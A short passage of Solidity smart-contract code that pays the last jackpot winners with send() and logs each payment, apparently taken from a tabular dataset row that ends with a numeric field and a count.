emit payJackpotLog(betForJackpot[currJackpotBetID-3].user, winner4ToPay, totalValue, betForJackpot[currJackpotBetID-3].value, now, result);
result = betForJackpot[currJackpotBetID-4].user.send( winner5ToPay );
emit payJackpotLog(betForJackpot[currJackpotBetID-4].user, winner5ToPay, totalValue, betForJackpot[currJackpotBetID-4].value, now, result);
}
}
} | 0 | 1,824 |
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